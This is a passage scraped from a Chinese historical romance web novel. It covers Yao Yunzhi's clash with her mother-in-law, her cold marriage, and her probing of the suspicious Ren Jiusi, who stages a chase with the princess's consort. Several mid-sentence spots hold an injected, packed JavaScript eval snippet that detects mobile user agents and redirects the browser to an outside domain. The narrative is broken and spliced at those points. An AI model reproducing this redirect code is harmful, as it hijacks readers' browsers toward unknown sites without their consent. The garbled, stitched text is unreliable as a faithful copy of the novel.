大夫手中攥着刚用完的脉枕,甫掀开门帘走出,便见到姚韫知立在门外,连忙躬身施礼,“夫人安好。” “如何?”姚韫知语气平静,双手垂在身侧,指尖却隐隐有些发紧。 大夫抬手擦了一把额头上的汗,回道:“任公子的高热虽已暂退,但因为寒气侵体,再加上身体本有旧疾,导致病情格外难缠。” 姚韫知蹙起眉头,语气微冷,“旧疾?” 大夫点了点头,叹息一声,“这位公子似是早年伤了根本,又未曾好生调养。如今不过二十出头的年纪,脉象却虚弱紊乱,如同一个老者。若不妥善医治,只怕一场小小的风寒就会要去他的性命。” 姚韫知闻言,下意识地往屋内看去,落下纱帘堪堪遮蔽住了她的视线。里头的蜡烛亦不知何时又熄灭了两盏,除却雾一样的光晕,什么也看不清。 她静默了片刻,收回目光,眼神变得有些空洞。 她问大夫:“他这病,你有法子治好吗?” 大夫摇了摇头,“要想完全根治,怕是极难。不过日后若悉心调养,避免劳神动气,平日里多用滋补的药膳,再辅以针灸,或可稍稍缓解病症,总不会有性命之虞。” 姚韫知嘴唇动了动,正要再问什么,恰有一个侍女匆匆来报:“夫人,老夫人让您到她房里去一趟。” 姚韫知压抑住语气的不耐,淡淡回了声:“急什么,我一会儿便去。” 她进屋时,张老夫人正倚在榻上,掀着眼皮直直盯着她,也不知葫芦里究竟卖的是什么药。 姚韫知于是不再靠近,就停在离她床榻两三尺的地方,既不行礼,也不问安,静静地等着她发难。 这么僵持了一会儿,张老夫人没好气道:“杵在那里做什么,怕我吃了你不成?” 姚韫知仍一动不动,只双手交叠着放在身前,问道:“母亲叫我过来,有什么吩咐?” 张老夫人冷笑一声,“你把那个男宠弄到前院来了?” 姚韫知答:“是。” “反了天了!” 张老夫人怒气冲冲地坐直了身子,因为起得太急,薰笼里的暖气又倒灌进口里,呛得她剧烈咳嗽了几声。 朱妈妈见状,连忙上前抚了抚张老夫人的胸口,替她顺气,“夫人才服了药,大夫嘱咐过,千万不能动气。夫人不若听听少夫人的解释,或许她这么做有她的道理呢。” 说完瞥了姚韫知一眼。 姚韫知平静道:“母亲,任公子是张府的客人,客人生了病,没有主人家将客人一个人撂在后山脚自生自灭的道理。” 张老夫人捶着胸口,看向朱妈妈,“你听听,你听听她这话!现在一个卖笑的摇身一变也能成什么‘客人’!今儿个弄个戏子来,明儿个弄个耍猴的来,后日再弄个娼妓来,是不是非得让这些个不三不四的东西把张府也弄成个淫.窝,她才肯罢休?我上辈子是造了什么孽,才让这么个败坏门风的女人进了我们张家的家门!” 这话算是说得十分刺耳了,朱妈妈一时也不知该如何劝解,口中不住说着“夫人息怒”。 朱妈妈又给姚韫知使了个眼色,想让跟张老夫人服个软。 不想姚韫知依旧站在原处,目光如水,眼底没有半点波动。 张老夫越说越气,口里喋喋不休地翻起那些旧账,“我从前就和老爷说过,咱们张家虽不是什么簪缨世家,但他好歹也曾官拜正三品中书令,订过亲的女人是万万不能要的。可老爷偏偏不听,说什么左右允承也喜欢。我只当他是个耳聪目明的,比我这个妇道人家要有见识,结果娶来个十指不沾阳春水的仙女不说,还是只不会下蛋的母鸡!” 发泄这么一通,张老夫人眼中的怒火非但没有平息下去的意思,反而愈烧越旺。 她索性将她从前对姚韫知的诸多不满,一口气全吐出来,冲着眼前的人喝了一声:“姚氏!” 听到声音,姚韫知才缓慢抬起头来。 张老夫人道:“当初你父亲求我们将你从言家那滩浑水里捞出来的时候,那姿态可是要多低三下四有多低三下四。怎么如今他人不在了,你倒是腰杆挺直了,敢这么跟自己的家姑说话了?” 听到张老夫人搬出已经亡故的父亲羞辱自己,姚韫知一个没忍住,眼眶瞬间泛起了一圈红。 也不知道是因为愤怒,还是因为委屈。 张老夫人一见自己戳中了她的痛处,更加肆无忌惮地挖苦道:“其实,这世上再没有比我们我们张家更厚道的人家了。你既已经嫁到了我们家做媳妇,我们也不会欺负你一个孤女。你父亲走了之后,允承既没有休妻,也没有纳妾,算给足了你体面。你若是安分一些,好好侍奉舅姑,照顾夫君,届时再添个一男半女,何愁将来会过不上富贵安逸的日子?又何必要去巴结一个名声不好的公主?” 她指尖轻轻敲着床榻的边缘,似是在催促姚韫知快些表态。 可姚韫知始终像个锯嘴葫芦,似乎把她的话完完全全当成了耳旁风。 张老太太终于没了耐性,直接冲姚韫知下了最后通牒,“这样吧,我给你三天期限,把那个不男不女的东西弄走。不管是让公主府派人接走也好,还是直接把他打出去也好,三日之后,如若我再在张府见到这个人,就休怪我不客气了。” 姚韫知不置可否,福了福身就要离开,又被张老太太叫住。 “还有,听说你与允承近一年来都是分房睡的。” 姚韫知停下脚步,不疾不徐道:“母亲先前教导过,男人应以仕途功名为重,不宜过分沉溺于儿女私情。我不敢违背母亲的教诲,怕这闺房之事分了他的心,误了他的前程,所以才不与他居于一处。” 张老夫人嘴角抽搐了两下,冷笑道:“莫要拿这样的话唬我,你心里究竟是怎么想的,只有你自己知道。” 她又不耐烦地扶了扶额头,“罢了,别的我也不同你废话了,你今晚就给我搬回允承房里去。” 姚韫知倏然抬眸,直视着张老夫人的眼睛,反问道:“母亲可还记得方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791716|158136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同我说了什么?” 张老夫人愣了一愣。 “我如今不过是一个孤女,”姚韫知唇角弯起一个浅浅的弧度,摊开两只空空如也的手,“所以母亲觉得,我现在还怕什么呢?” 她笑容清淡,眉目如画。 张老夫人却被她盯得后脊有些发凉,总觉得这人眼神里有股子疯劲,唯恐她真受刺激,做出什么疯事。 但她是绝不会把这样的情绪表露在脸上的,仍撑着口气,颐指气使道:“你,现在,去把允承给我叫来。” 姚韫知不知道张老夫人把张允承叫去说了些什么,不过大约一个时辰以后,临风馆的门外便响起了一阵沉闷的敲门声。 “韫知,你睡下了吗?” 是张允承的声音。 姚韫知挑起床帘,耳畔飘过簌簌的雪声。她略一迟疑,还是打亮了火折子。 烛台上遽然升起一簇火苗,晕黄的光擦过她的脸颊,晃得她眼睛有些刺痛。 她捧着蜡烛,缓步走到门边。才将门推开一条小缝,寒风便裹着细碎的雪花扑面而来,冻得她手指下意识往回缩了一缩。 不过张允承倒没有要进来的意思。 他知道,姚韫知不喜欢旁人进她的卧房。 外头风雪漫漫,庭院中覆着一层厚厚的积雪,月光映在雪面上,清冷而幽寂。他站在门槛前,手中提着一盏老旧的风灯,脚下的影子被拉得忽长忽短。 姚韫知对着门缝说道:“你且等一等。” 说完咳嗽了两声,走到床头,取了件月白风毛长袄披上,整了整衣襟,这才推开房门,站在廊下道:“有什么话,出去再说吧。” 张允承微微一怔,随即点了点头。他将手中的风灯轻轻放下,抖落了肩上的雪,随即解开身上的披风,替姚韫知罩在了袄子外头。 两人沿着回廊并肩走着,张允承侧头,目光落在她的半边脸上,许是被冻得有些厉害,白皙中透着红,芙蓉玉似的。 他轻声开口:“母亲今日的话,你就当她没有说过。” 姚韫知脚步稍稍一顿。 张允承道:“我同母亲说过了,九思公子可以继续借住在这里。” 姚韫知眸光闪烁了两下。 “还有孩子的事情,也不急于一时。” 听到这里,姚韫知叹了口气道:“其实我从前也同你说过,你想要的东西,我没有办法给你。若你实在想要一个自己的孩子,你大可以……” 似是预料到她接下来要说什么,张允承的食指及时压在了她的唇上。 姚韫知只好将话暂时咽了回去。 张允承沮丧地问:“韫知,你是不是觉得我很没用?” 姚韫知不答,他便兀自往下说道:“旁人都说我有这样好的一个父亲,定然走的是最笔直的康庄大道。可我却总是让父亲失望,不单在科举上没考出什么名堂,连他替我打点好的差事,我都会办砸。从前倒不觉得有什么,总觉得自己不是一个俗人,瞧不起仕途经济。” 他说着说着,神情有些黯然,“可近来我却忍不住在想,若我能够有一番作为,更讨母亲欢心一些,她是不是就不会有这么多的怨气,也就不会对着你横挑鼻子竖挑眼。你是不是也能……” 犹豫了一瞬,张允承终于还是将那句话问出了口:“你是不是也能像喜欢他一样,更喜欢我一点?” 11. 疑窦生 周遭一片寂静,仿佛连雪也停住了。 姚韫知的声音冷飕飕地从风里传来:“其实你如何选择,是追求仕途经济,还是讨好母亲,都完全取决于你自己,不必在意我的看法。更何况,这与我,也没有什么关系。” 这回答比张允承预想的还要凉薄几分,他一时间不知该如何回应,局促地摸了摸鼻子,“韫知,我也不是想……欸,我……我嘴笨,不知道该怎么说,我并不是这个意思,我的意思是……” 两人之间的空气骤然冷了下去,张允承的声音越来越低。 姚韫知等了半天没等来后文,左右自己这边也没有什么话是主动想要同他说的,于是抬手准备解开领口的斗篷系带。 却被蓦地按住了手腕。 张允承说:“披着吧,外头冷,我……我先回去了。” 他旋即松开了手,迅速转过身去。落了雪的地面太滑,脚下略微有些不稳。 姚韫知替他扶了一把手中摇晃的风灯,嘱咐道:“回去的时候当心一些。” 张允承点了点头,应了声:“好。” 白茫茫的雪地里,两排孤零零的脚印落寞地向黑暗处延伸而去。 目送张允承离开后,姚韫知独自在回廊下站了许久。 这样的场景,在他们过往五年的婚姻生活中不知重复上演过多少次。 这些年,她已经对和张允承相处的分寸十分谙熟。 她非常清楚说什么话既能尽快将人打发走,又不至于显得自己太过冷淡薄情。 她从来都是这么做的。 也从来不会因此感到愧疚。 可今日,望着他落荒而逃的的背影,她心里却泛起一种说不清道不明的哀凉。 她忍不住想,这些年对张允承的种种冷落,或许并非完全出于对他这个人的厌恶,更多的是出于那些埋藏在内心深处,连她自己都耻于面对的自私和怯懦—— 无法手刃真正的仇人为心爱之人洗刷冤屈,所以只能将那份无法发泄的愤懑与无力,转化为对另一个无辜之人的折磨。 不过,这个念头只在头脑中停留了一瞬,就轻轻划走了。 张暨则是个佞臣,也是杀夫仇人。 张允承偏偏是这样一个人的儿子。 单凭这一点,她就永远不可能对他笑脸相迎,更不可能与他真正举案齐眉。 这截回廊不算太长,但她步伐沉重得像是灌了铅,短短的一小段路走得格外久,越走越觉得全身上下疲惫异常。 推开门的瞬间,浓烈的香雾扑面而来,她脚步一顿,刹那间没了困意。 姚韫知立时快步走到壁橱前,见两扇门严丝合缝地关着,这才松了一口气。 壁橱的位置原本挂着一幅《枯木竹石图》,方才她出门太急,竟忘了将它放回原处。幸而没有外人进来,否则还不知要闹出多大的风波。 她搬过垫脚的绣凳,站上去将画重新挂好,确认它端端正正地落在原位后,才轻轻拍了拍手上的灰尘,正准备下去。 才一回头,却见云初正仰着头,静静注视自己,漆黑的瞳仁中看不出什么情绪。 不知她是何时到的自己身后,也不知道她适才究竟看见了多少。 姚韫知暗道了声“不好”,但脸上却没有流露出太多情绪。她稳稳地从绣凳上下来,理了一下衣袖,这才平静地看着云初,“怎么站在那里一声不吭,吓了我一跳。” 云初心不在焉地递过净手的帕子,小声回:“奴来时不知道夫人在里面,见夫人在忙,也不敢出声打扰了夫人。” 姚韫知也不再细细往下追问,不紧不慢擦完了手,将帕子轻轻丢回了铜盆里,“你回去歇息吧,这里不用你服侍了。” 她存心将这一页翻过去,可云初却没有要走的意思。 姚韫知疑惑地打量着她。 她却倏然放下手里的铜盆,拜倒在地,“夫人。” “怎么了?”姚韫知眉尖微蹙。 云初道:“奴知道夫人是个顾念旧情之人,可这‘情意’二字虽好,有时也会伤人伤己。” 姚韫知闻言,神情变得肃然,正色道:“你想说什么?” 云初于是不再兜圈子,直接问道:“夫人是不是在房中偷偷祭拜什么人?” 姚韫知没说话,可眸色却不自觉冷了几分。 云初于是更笃定了心中的念头。 她下意识环视四周,见门窗都紧紧闭着,这才压低声音确认:“是……他吗?” 自从言怀序自尽之后,这个名字就成了姚韫知的禁忌。除却萧妙悟这个天不怕地不怕的公主敢在她的面前提起这个名字,其他人即便是在言谈间没法避开当年之事,也总是会善意而巧妙地将言怀序这个人绕开。 好似他从来不曾在这个世上存在过一般。 就像现在,云初说着万分紧急的事,却仍只是含糊不清地称呼言怀序为“他”。 姚韫知自然知道她在说谁,没有承认,也没有否认。静默了须臾,她只问:“钥匙我一直贴身收着,你是如何将神龛打开的?” “奴没有打开过夫人的壁橱。” 姚韫知笑了笑,“那你方才是在诈我?” 云初摇了摇头,解释道:“奴不敢。奴只是知道夫人素来不爱用香,但近一年来,每月总会有那么几日在博山炉中添上许多冰片。此香香气浓烈,便是喜好香道的人也未必受得住屋内全是这个味道,所以奴心里才存了几分疑虑。适才见到这画后面藏着一个这样小的壁橱,又瞧见地上落了灰,心中便忍不住猜测……” 她顿了一顿,续道:“夫人是在用冰片遮掩香火纸钱的味道。” “你猜得不错,”姚韫知没有否认,“我之后会留意的。” 她又冲云初拂了拂手,“你起来吧。” 云初却没有起身,她的目光再一次落向墙上那一副挂画,终于还是忍不住问道:“在夫人眼中,主簿便这般比不上言公子吗?” “啪嗒”一声,是更漏中水滴落下来的声音。 也有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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另一件则是水红色的织锦翻领袄,色彩明艳动人。袍身织锦纹理规整而不失灵动,层层相叠。衣摆之处,丝线精心绣就的桃花朵朵簇拥,粉嫩娇艳,花蕊凝露,暗香幽浮,尽显妩媚娇娆之态。 都不是她近来常穿的样式。 云初在一旁解释道:“这两身衣服是用宜宁公主送您的料子裁的,一直放在库房里面。奴记得夫人先前说过老夫人不喜您衣着打扮过于张扬,所以才一直没拿来让您过目。” “那今日怎么把衣服送来了?” “是主簿让奴把衣服拿来给夫人的。” 察觉到了姚韫知的沉默,云初小心翼翼地开口:“若夫人不喜欢,奴再去挑别的。” 姚韫知目光落在紫色那件翻领袄上,“罢了,就这个吧。” 云初将衣服递到姚韫知面前。 姚韫知忽然想起什么,手上动作一顿,“对了,任公子怎么样了?” “任公子今早醒了,大夫方才号了脉,说是没有什么大碍了。” 姚韫知换上衣服,点了点头道:“那我一会儿去看看他。” 12. 迷中局 姚韫知换好衣服,嘱咐完云初让厨房备上一碗姜枣汤,便径自朝着暖阁的方向去了。 一路上,寒风夹杂着未散尽的雪气,拂过长廊,丝丝冷意萦绕在脸颊,将她的鼻尖和耳朵吹得通红。她走在敷了一层薄雪的青砖石上,步伐轻而缓,心绪却还在因为昨夜的风波上下颠簸着。 昨日,张老夫人才因为任九思的事情申斥过她,云初又发现了藏在画后头的神龛。于情于理,她都不应该在这个时候,再和任九思有什么私下的来往。 可这个人身上,实在有太多的谜团。 若不弄清背后的答案,她实在是没有办法心安。 不知走了多久,姚韫知终于暖阁门前停下脚步。一个小丫头正抱着暖炉缩成一团倚在门柱上打盹,听见脚步声靠近,忙起身行礼:“夫人。” 姚韫知淡淡扫了那丫头一眼,脸上没什么表情,“这么冷的天,你怎么在外头守着?” 小丫头怯生生回道:“任公子不让奴近身伺候,可老夫人又非得让奴在任公子身边守着,半步都不能离开,奴便只好偷偷蹲在门口了。” 姚韫知叹了口气,温声道:“这样吧,你去厨房瞧瞧任公子的姜枣汤熬好了没有。若是好了,就替我端过来。” 小丫头福了福身子,转身正要走,又忽然像想起什么似的,停下脚步,落向她的目光有些迟疑。 姚韫知微微一笑:“放心,老夫人不会知道的。” 那小丫头这才点了点头,抱紧怀中暖炉,朝厨房的方向跑去。 暖阁里头静悄悄的,听不见什么动静,也不知道任九思现在醒着还是没醒。略一迟疑,姚韫知还是推开了门,若无其事地走了进去。 听见门轴转动的“咯吱”声,任九思昏昏沉沉地抬起头。 他尚在病中,脸色苍白如纸,额角细密的冷汗尚未干透。那双原本沉静如潭的眼睛此刻因为病痛而染上几分迷茫,却在瞥见姚韫知时,短暂地浮现出一丝清明。 “夫人怎么来了?” 任九思撑着床板,勉强直起身子准备下床,却被她抬手制止,“病成这样,就不必行礼了。” 任九思掩袖咳嗽了两声,挑起眉梢道:“夫人原来还是心疼小人的。” 姚韫知对于他这样张口便来的胡话已然习以为常,此刻也不欲与这样一个病秧子争辩。她缓缓走到榻前坐下,面无表情地问道:“想明白了吗?” “夫人指是什么?”任九思歪过头,“若夫人问的是小人对夫人的情意,小人此前早已向夫人言明。” 姚韫知讥讽道:“看来昨天的冷风还没有将九思公子吹醒啊?” “若能博夫人一笑,小人不介意再跪一次,”他的嗓音因风寒变得低哑,粗粝得像砂纸打磨过一般,透着几分欲色,“小人这条命都是夫人的,更遑论这副身子。夫人到时想让小人怎么脱,小人就怎么脱。” 姚韫知没想到,这个人被这么折腾了一遭,竟还能跟泥鳅似的,滑溜溜地在她掌心里左冲右突,一点把柄也捉不到,还白白让他在口头上占了便宜。 她气闷不已,但还是竭力克制住胸中升腾起的怒意,缓缓开口道:“公子这样娇弱的身子,怕是再也禁不住风雪了。若是不小心死在了张府,我只怕是没法同宜宁公主交代。” 任九思笑道:“那小人还要多谢夫人关怀了。” 姚韫知微微蹙起眉头,语气似是关切,却又带着几分探究,“听大夫说,九思公子似乎是有些不足之症。说来我也有些好奇,九思公子年纪轻轻,身子怎么会亏损到这种地步?” 任九思闻言,低头一哂:“小人自幼孤苦无依,吃百家饭长大,饥一顿饱一顿是常事。后来幸得一位师傅收留,教授小人武艺。一年三百六十日,无论寒暑,每日都要在院中练习六七个时辰的功。奈何小人天资愚钝,非但没能学成师傅的本事,反倒弄了一身伤病。到现在,已然是手不能提,肩不能扛,腰也使不上力。稍稍需要一点力气的活计,小人都做不了。” 他说完仰起头,调侃道:“若非如此,小人也不会为了生计,跑去给人做面首了。” 这话说得情真意切,可姚韫知神情却始终淡淡的,显然是对这套说辞并不尽信。须臾,她款款起身,向着床榻的方向又走近了几步。 任九思不知她是何意图,身子不自觉向里一缩,倒像只被逼到角落里的猫。 她笑了笑,毫不避讳地坐到了他的床沿上,径自伸手朝他的腰处探去。 任九思来不及反应,身子倏忽一僵,随后掌心的温度才隔着单薄的衣料缓缓透了过来。她手上的动作很轻,温软得就像一片云,却又像是蛛丝结成的网,将他一点一点束缚住,直到彻底动弹不得。 他喉咙滚了滚,声音仍旧是低缓的,可语气不似平素那般无懈可击,“夫人这是何意?” “公子腰不好?”姚韫知没头没尾地问了一句。 任九思怔忡地望着她。 她唇角微微扬起,指尖顺着他的腰线缓缓滑过,而后竟不轻不重地捏了他一把,语带嘲弄问道:“那公子平日是如何给人做面首的?” 她的声音像是在酒里浸过,只从耳畔轻轻飘过,头脑便烧得厉害。意识到她在说什么,任九思脸上青白交加,蓦地扣住她的手腕,用力一挣。 姚韫知毫无防备地跌进了他的怀中。 他一个翻身,将她压到了身下。 她的衣衫鬓发被扯得散乱,露出了侧颈处几道刺眼的红痕。那痕迹零零星星的,像是飘落在雪地里的红梅花瓣。 任九思自然是看见了。 他虽未经历过人事,却也知道这意味着什么。 此刻,望着姚韫知用力推开他,含恨怒视着他的模,只觉得无比讽刺。 当年,他与她当年虽早有过婚约,可他爱惜女子的名节,待她从来都是发乎情止乎礼。莫说有什么逾矩的行为,就连勾勾手指,他都会觉得难为情,整个耳朵都变成血滴似的红。 有时候,小娘子起了坏心。趁着周围没人的时候,踮起脚尖,勾着他的脖子将他拉下来,在他颊边蜻蜓点水般落下一个吻。 他心里有烟花“滋滋”炸开,却仍是板着脸,一本正经地同姚韫知说道:“可是,我们现在还没有成婚呢。” 姚韫知问:“所以呢?” “所以我们不能做这样的事。” 他红着脸,看也不敢看她。 姚韫知恼道:“我不过是亲你一下,这都不可以吗?” “若是被旁人看见了,会说你不好的。” “我方才看过了,周围没有人。” “先生说,君子慎独,不欺暗室。” 姚韫知气得头昏脑涨,又知自己根本说不过他,一脚踢开地上的石子,努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他嘴角漾起一弯清浅的笑意,分明是十分温和的语气,却说着十分粗鄙的话,“他长着这样一张不能人道的脸,当真能够满足夫人吗?” 姚韫知听不下去这些污言秽语,反呛道:“总是比你这种腰使不上力的软骨头强。” “那夫人要不要亲自试一试?” 他低下头,温热的呼吸在她脸颊边浮动。随后缓缓凑到她的耳边,沙哑道:“说不准能让夫人……” 姚韫知嗤笑着接口:“一夜丢七次?” 任九思嘴唇动了动,没有发出声音。 姚韫知看着他微微嘟起的口型和满是疑惑的目光,眉尖不由蹙紧了几分。 正巧外头传来敲门声,姚韫知趁着他失神的这会儿功夫将人推开,连衣服也顾不得整理,直接躲到了屏风后面。 适才那个守门的小丫头端了姜枣汤进来。 任九思瞥了一眼前头的方桌,“就搁在那吧。” 小丫头点了点头,放下东西就要退出门外。 任九思又道:“就别在门口守着了,替我去临风馆谢过夫人吧。” 小丫头记得适才夫人是进了这个房间的,现在不在,想来是办完了事已经回去了。她于是不疑有他,颔首道:“奴这就去。” 小丫头前脚刚走,姚韫知就从屏风后头走了出来。 任九思含笑着望向她,像是在邀功。她却看也没看他一眼,直接向房门外走去。 风雪朝她迎面扑来,她也无心将濡湿的头发拨开。 这一趟让她心中的疑惑越来越深。 此前,她怀疑的还是这个人当宜宁公主的面首是不是别有目的。 现下她怀疑的是,这个人是不是根本就不是什么面首。 13. 风流债 公主府内。 驸马放下匿名信,眉头拧成了一个死结。 宜宁公主见他这副表情,笑着收回了扶在他肩膀上的手,绕到他跟前打趣道:“怎么紧张成这样?莫不是哪个相好约了你出去?” 驸马无心同宜宁说笑,轻轻叹了口气,将信递到她手中,“你瞧瞧吧。” 宜宁的目光在信笺上停留了片刻,不觉有些惊讶,“还真是有人要你约出去啊。”她顿了顿,仰起头打量着他的眼睛,眼中的笑波微微荡漾,“还是鸣玉坊?” “妙悟,你知道的,我平素从来不去这样的地方的,”驸马愁眉苦脸地望着宜宁公主,语气有些委屈,“我也不知道为什么会有女子给我写这样的东西。” 宜宁公主笑了笑,重新拿起信纸,一边细细打量,一边煞有介事地说道:“说不准你是真落下了什么要紧的东西,恰巧被鸣玉坊的乐姬捡了去,所以才让你去取。” “这世上哪有这样凑巧的事?” 驸马虽嘴上说着不会,可瞧他垂着眼睛,若有所思的模样,仿佛是真的在思考这种可能。他回忆道:“我昨日去城郊同李公子他们打了场马球,前日去了西市的玲珑阁,还有……” 宜宁公主瞧他这般认真,终于敛住戏谑的笑容,正色道:“平章,其实我方才仔细看了看,总觉得这像是韫知的字迹。” “张夫人?”崔平章一怔,“她为什么要……” 宜宁公主沉吟道:“我也不知道。或许是她心中有了什么怀疑,想要同你确认。” “那我要去吗?” “按理说你是可以不必赴这个约的,”宜宁公主略一迟疑,“但若是不去,我心里总是存个疑影。” 崔平章于是道:“既如此,那我去去也无妨。” 他思索了一会儿,又问:“那到时我见了她,应该说些什么?” 宜宁公主道:“她若是问起九思的事情,你就破口大骂,骂得越难听越好。” 崔平章笑问:“我骂他,你不会心疼吗?” “崔平章!”宜宁公主一瞬间沉下了脸,嗔道,“你近来是掉到醋缸子里了吧?我现在是在同你说正事。” 眼见宜宁公主真的动了怒,崔平章连忙向她拱手赔了个礼,站起身道:“那公主,我这就去了。” 他才往外头走了几步,宜宁公主便出声将他叫住,“平章。” 崔平章顿住脚步,困惑地回头。 宜宁公主冲他招了招手,“过来。” 崔平章于是折回头,走到宜宁公主身边,倾下身子问道:“怎么了?” 宜宁公主一抬起手,他的头便乖顺地落到了她的手心里。她轻轻摩挲着他的鬓发,像是在顺毛,拇指随即落到了他的眉弓处,沿着他的轮廓柔柔描摹过去。 “平章,”宜宁公主温声道,“你记得带几个随从一同过去。若写信的人不是韫知,你也好有个防备。” 崔平章笑道:“知道了。” 他坐上轿子,没过多久到了鸣玉坊门口。一进门,便同迎接他的伙计报上了房间的名称。伙计问起他的身份,他也没有避讳。 一听他是宜宁公主的驸马都尉,伙计心中不由打起了鼓,但他脸上还是挂着满满当当的笑意,热络地同崔平章说道:“公子这边请。” 崔平章叩了两下门。 门很快从里头拉开。 那人见来的是崔平章,眉尖微微一蹙。 崔平章向四周看去,见屋内没有人,方压低了声音问道:“九思,你怎么在这里?” “果然。”任九思嗤笑一声。 崔平章不明所以。 任九思抬起头,目光直直落向他,深吸了一口气道:“驸马,劳驾打我一拳。” 崔平章还在状况之外,“我打你做什么?” 任九思回头望了一眼,见半透不透的门上倒映着一幢幢来回走动的人影,不像有人在外头偷听。但他悬着的一颗心还没有放下来,又将声音放低了几分,“你先别问这么多了,动手就是。” 崔平章仍没有动作,板着脸道:“你先同我说清楚是怎么回事,我若是平白无故打了你,如何回去和宜宁交代?” 任九思无奈极了,只能长话短说:“是姚韫知让我过来的。” 崔平章瞪大眼睛。 任九思道:“若我没有猜错,你也是她叫过来的,对不对?” “说实话,我也不大确定,”崔平章说完,眼眶里氤氲起重重叠叠的迷雾,“若真的是她,她这样做究竟是为了什么呢?” 任九思道:“许是她对我的身份起了疑心,想看看我究竟是不是真的沦落到被你四处追杀的地步。” 崔平章道:“我听妙悟说,你现在住在张暨则之前办公的书房。你是不是在里头,翻找什么东西,被她瞧见了?” 任九思摇头,“我才住进去一天,便搬到别处去了。” “那她是如何对你起疑的?” 听他这么问,任九思好似有什么东西堵在喉咙,一时觉得难受得紧。但也并不想同崔平章解释这件事,只催促道:“驸马就别问这么多了,直接动手就是。” 崔平章“哦”了一声,扬手就是一拳。 可他实在是个斯文人,不敢真的下死手,不痛不痒地在任九思胸口捶了一拳,连衣服都没有弄皱。 任九思见他是真的下不了手,也不再为难他,径直走到桌案前,拿起上头削水果的刀,照着胸口就要刺下去。 崔平章脸色遽然一变,忙上前扣住他的手腕,慌道:“九思,便是作戏,也不必作得这么真吧。” 任九思将刀递到崔平章的手中,缓缓道:“驸马既不忍心下手,那就只能劳烦驸马同九思一同丢脸了。” 崔平章心领神会地点了点头,抬高了音量,大喊道:“任九思,我今日饶不了你!” 说话间,便举着刀向门口冲去。 任九思亦一个箭步冲出了门,朝楼梯口奔去。 任九思在前头衣衫不整地跑着,崔平章举着刀杀气腾腾地在后头追。廊上的人眼瞧着这一幕,个个都看呆了,不知道这是怎么一回事。 任九思口中喊着“饶命”,崔平章一双眼睛猩红,怒骂道:“你勾引别人妻子的时候,怎么没想到自己有一天会落到我的手上!” 这下围观的人知道究竟是怎么一回事了,脸上露出意味深长的笑意。 适才那伙计一听来的人是驸马,便觉得事情不妙。才将崔平章领进了屋,就忙不迭地去找掌柜,生怕出了人命。现下两个人慌慌忙忙地赶过来,发现还是来迟了一步。 掌柜满头冷汗,环视了一圈,却见周围的人都在津津有味地看戏,没人打算上前将这个杀得红了眼的人拉开。 他只好硬着头皮冲上前,一把抱住崔平章的腰,苦苦哀求道:“客官,可不敢这样!” 崔平章厉声说着“放手”,掌柜却将他的腰越抱越紧,摇着头道:“都尉大人,您要是在咱们这把九思公子打死了,那公主会要了小人的性命的。” 崔平章冷笑道:“我还差点忘了,这里有个拉皮条的。” 掌柜听出这话里头藏的冷意,手臂颤抖得厉害,却是死活也不肯松开,“驸马若是生小人的气,小人自会向驸马磕头认罪。还请驸马不要冲动,万万不要闹出人命啊!” 崔平章气得浑身颤抖。 掌柜连忙瞥了一眼手底下的伙计。 那伙计得了眼色,立刻拉着任九思朝楼梯口跑去,消失在了崔平章视线的尽头。 然而走到拐角处,伙计余光往下一扫,却见鸣玉坊外笔直地站着十几个家丁,仿佛是公主府的人。 伙计一时间乱了心神,不知这底下站的究竟是宜宁公主派来的救兵,还是驸马都尉布下的天罗地网。脚步顿时黏在原处,不敢前进,也没有办法后退。 任九思见这伙计抖如筛糠,似乎是害怕连带着自己都被牵连进去。他笑了笑,不紧不慢道:“小郎君不必紧张,你将我送到这里便好。” “那公子……” “我自有我的去处。” 说完也不等伙计反应,他便沿着回环的楼梯,直接上到了三楼。 迎接他的是一双冷厉的眼睛。 方才同驸马追逐的时候,他目光无意间朝对面扫去,只见姚韫知站在三楼,倚着栏杆,目光悠悠地朝他身上落下。 此时,见他走近,她双手抱在胸前,仍是一副事不关己的模样。 仿佛今日的这出大戏,全然与她无关。 任九思眼中没有半点愠色,含笑道:“夫人来了。” 目光温柔得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823761|158136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像水一样。 姚韫知没有什么反应。 毕竟像任九思这样的人,做出什么样的事情她都不会觉得奇怪, 片刻,她才微微抬眸,嗓音格外冷淡,“你倒是命大。” 任九思笑容只增不减,“小人这般命大,也是多亏了夫人。” 姚韫知懒得理睬他。 他兀自往下说下去,奉承得倒是有理有据,“若夫人真是想要小人的性命,其实不必特地跑一趟。这寒冬腊月的,夫人同主簿一边煮着酒,品着茶,直接等着驸马打死小人的消息传回来,岂不是正好?何苦巴巴地赶过来?” 